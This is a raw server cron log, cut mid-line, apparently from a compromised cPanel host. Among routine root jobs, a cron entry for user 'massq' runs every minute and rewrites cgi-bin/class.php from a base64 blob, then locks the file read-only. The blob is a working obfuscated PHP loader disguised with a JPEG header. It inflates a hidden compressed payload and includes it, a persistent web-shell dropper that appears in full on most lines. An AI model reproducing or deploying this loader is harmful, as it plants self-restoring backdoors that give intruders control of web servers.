g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:01:01 server run-parts(/etc/cron.hourly)[6154]: starting 0anacron
Aug 31 10:01:01 server run-parts(/etc/cron.hourly)[6177]: finished 0anacron
Aug 31 10:02:01 server CROND[6706]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:02:01 server CROND[6707]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:02:01 server CROND[6708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:03:01 server CROND[7089]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:03:01 server CROND[7088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:03:01 server CROND[7090]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:04:01 server CROND[7569]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:04:01 server CROND[7568]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:04:01 server CROND[7570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:05:01 server CROND[7963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:05:01 server CROND[7965]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 10:05:01 server CROND[7967]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:05:01 server CROND[7969]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 10:05:01 server CROND[7968]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 10:05:01 server CROND[7972]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 10:05:01 server CROND[7971]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 10:05:01 server CROND[7970]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:06:01 server CROND[8837]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:06:01 server CROND[8838]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:06:01 server CROND[8839]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:07:01 server CROND[9264]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:07:01 server CROND[9265]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:07:01 server CROND[9266]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:08:01 server CROND[9668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:08:01 server CROND[9670]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:08:01 server CROND[9669]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:09:01 server CROND[10144]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:09:01 server CROND[10145]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:09:01 server CROND[10147]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 10:09:01 server CROND[10146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:10:01 server CROND[10543]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 10:10:01 server CROND[10545]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 10:10:01 server CROND[10546]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 10:10:01 server CROND[10550]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 10:10:01 server CROND[10551]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:10:01 server CROND[10554]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:10:01 server CROND[10553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:10:01 server CROND[10549]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 10:11:01 server CROND[11402]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:11:01 server CROND[11403]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:11:01 server CROND[11404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:12:01 server CROND[11788]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:12:01 server CROND[11789]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 10:12:01 server CROND[11790]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:12:01 server CROND[11791]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:13:01 server CROND[12165]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:13:01 server CROND[12166]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:13:01 server CROND[12167]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:14:01 server CROND[12676]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
